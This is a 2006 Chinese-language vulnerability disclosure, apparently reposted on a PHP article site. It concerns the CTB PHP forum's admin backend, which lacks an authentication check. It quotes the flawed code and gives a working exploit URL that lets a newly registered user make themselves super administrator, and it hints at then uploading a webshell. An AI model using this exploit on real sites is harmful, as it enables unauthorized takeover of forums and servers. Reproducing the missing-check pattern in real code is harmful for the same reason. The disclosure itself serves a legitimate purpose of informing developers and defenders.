漂亮但不安全的CTB


Posted in PHP onOctober 09, 2006

>>>Dedicated This Scrap To CaoJing<<< 

涉及版本: 
^^^^^^^ 
目前所有版本(现在1.3Alpha为最高版本) 

描述: 
^^^^^^ 
CTB是一款由实易数码<11cn.org>;开发和维护的源代码开放的PHP论坛。由于其后台管理文件验证存在缺陷,可能导致非法用户直接添加论坛超级管理员,进而威胁论坛或服务器安全。 

具体: 
^^^^ 
CTB书写非常规范,代码井然有序,赏心悦目,的确是优美的程序;特别是其功能模块,着实让小弟学习了一把。但安全方面却令人堪忧: 

试看如下代码: 

/admin/main.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
 //获取get变量 
   if( is_array($_GET) ) { 
      foreach($_GET as $k=>$v) { 
           if( is_array( $_GET[$k]) ) { 
               foreach($_GET[$k] as $k2=>$v2) { 
                   $return[$k][$k2] = $v2; 
               } 
           } else { 
               $return[$k] = $v; 
           } 
       } 

... 
$mod = isset($_GET['mod']) ? $_GET['mod'] : $_POST['mod']; 
   if (!file_exists($mod.".php" { 
       $mod = "mainright"; 
   } 
   require_once ($mod.".php"; 
   //----------------------------------------------------------------------------- 

   //初始化类变量 
   $ctb = new Module; 
   $ctb->set = $set; 
   $ctb->tplPath = "./templates"; 
   $ctb->input = $return; 
   $ctb->sess = isset($_COOKIE["sess_adminname"]) ? $_COOKIE : $_SESSION; 
   $ctb->execute(); 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

这里没有任何验证,我们看看添加管理员的文件: 

/admin/systemuser.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
class Module extends CommonClass 
//系统管理模块子类 

   function execute() { 
       switch($this->input['action']) { 
... 
case 'addSystemUser': 
               $this->addSystemUser(); 
               break; 
... 
    }       
   } 

function addSystemUser() 

   //输入数据简单格式化 
   $this->inputCheck("main.php?mod=systemuser&action=showSystemUser"; 
   //执行添加操作 
        $this->file = "../".$this->set[dataPath]."/users/list.php"; 
   $systemLine = $this->select(4, $this->input['systemUserName']); 
.... 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

依然没有验证,一路顺利啊! 

利用方法: 
^^^^^^^ 
先注册一个用户: 

登陆ID:  cat 
用户名 :   dog 
密码:      ilikecat 
重复密码:  ilikecat 
信箱:      cat@dog.com 

接着提交如下URL: 

http://www.target.com/ctb/admin/main.php?mod=systemuser&systemUserName=dog&systemUserMode=1&action=addSystemUser

哈哈,你现在已经是超级管理员了,不相信?提交如下URL后台登陆: 

http://www.psych.com/ctb/admin/main.php?mod=login 

管理名称:  cat 
管理密码:  ilikecat 

咦...还真成功了! 

你现在是不是想更改后台上传文件类型,然后upload webshell?哼,被我猜到了吧... 

后记:另外发现CTB代码注释有些扎眼的错别字,大煞风景,希望可以一起修正。

PHP 相关文章推荐
phpMyAdmin 链接表的附加功能尚未激活问题的解决方法(已测)
Mar 27 PHP
通过dbi使用perl连接mysql数据库的方法
Apr 16 PHP
CodeIgniter框架提示Disallowed Key Characters的解决办法
Apr 21 PHP
php中字符集转换iconv函数使用总结
Oct 11 PHP
php实现删除空目录的方法
Mar 16 PHP
typecho插件编写教程(四):插件挂载
May 28 PHP
编写PHP脚本过滤用户上传的图片
Jul 03 PHP
php+mongodb判断坐标是否在指定多边形区域内的实例
Oct 28 PHP
ThinkPHP框架分布式数据库连接方法详解
Mar 14 PHP
PHP使用SMTP邮件服务器发送邮件示例
Aug 28 PHP
PHP批斗大会之缺失的异常详解
Jul 09 PHP
Yii框架的路由配置方法分析
Sep 09 PHP
自动跳转中英文页面
Oct 09 #PHP
随机头像PHP版
Oct 09 #PHP
1.PHP简介
Oct 09 #PHP
5.PHP的其他功能
Oct 09 #PHP
2.PHP入门
Oct 09 #PHP
4.与数据库的连接
Oct 09 #PHP
利用PHP创建动态图像
Oct 09 #PHP
You might like
基于php socket(fsockopen)的应用实例分析
2013/06/02 PHP
在Yii框架中使用PHP模板引擎Twig的例子
2014/06/13 PHP
php中文繁体和简体相互转换的方法
2015/03/21 PHP
浅谈PHP中foreach/in_array的使用
2015/11/02 PHP
php自定义函数转换html标签示例
2016/09/29 PHP
thinkphp jquery实现图片上传和预览效果
2020/07/22 PHP
实例讲解PHP页面静态化
2018/02/05 PHP
PHP实现的操作数组类库定义与用法示例
2019/05/24 PHP
通过DOM脚本去设置样式信息
2010/09/19 Javascript
JavaScript的常见兼容问题及相关解决方法(chrome/IE/firefox)
2013/12/31 Javascript
jQuery 删除或是清空某个HTML元素示例
2014/08/04 Javascript
javascript基本类型详解
2014/11/28 Javascript
CSS图片响应式 垂直水平居中
2015/08/14 Javascript
JavaScript实现的浮动层框架用法实例分析
2015/10/10 Javascript
ui组件之input多选下拉实现方法(带有搜索功能)
2016/07/14 Javascript
node+express+ejs使用模版引擎做的一个示例demo
2017/09/18 Javascript
JS 实现缓存算法的示例(FIFO/LRU)
2018/03/20 Javascript
JS加密插件CryptoJS实现的DES加密示例
2018/08/16 Javascript
深入理解JS异步编程-Promise
2019/06/03 Javascript
vue+ElementUI 关闭对话框清空验证,清除form表单的操作
2020/08/06 Javascript
PyQt5每天必学之事件与信号
2018/04/20 Python
Php多进程实现代码
2018/05/07 Python
PyCharm GUI界面开发和exe文件生成的实现
2020/03/04 Python
Django用户身份验证完成示例代码
2020/04/03 Python
css3实现文字首尾衔接跑马灯的示例代码
2020/10/16 HTML / CSS
英国首屈一指的票务公司:See Tickets
2019/05/11 全球购物
PHP面试题-$message和$$message的区别
2015/12/08 面试题
华为python面试题
2016/05/03 面试题
两道JAVA笔试题
2016/09/14 面试题
Exception类的常用方法
2012/06/16 面试题
搞笑创意广告语
2014/03/17 职场文书
毕业评语大全
2014/05/04 职场文书
教师党的群众路线教育实践活动个人对照检查材料
2014/09/23 职场文书
党的群众路线教育实践活动领导班子整改方案
2014/10/25 职场文书
会计求职自荐信
2015/03/26 职场文书
Android开发手册Chip监听及ChipGroup监听
2022/06/10 Java/Android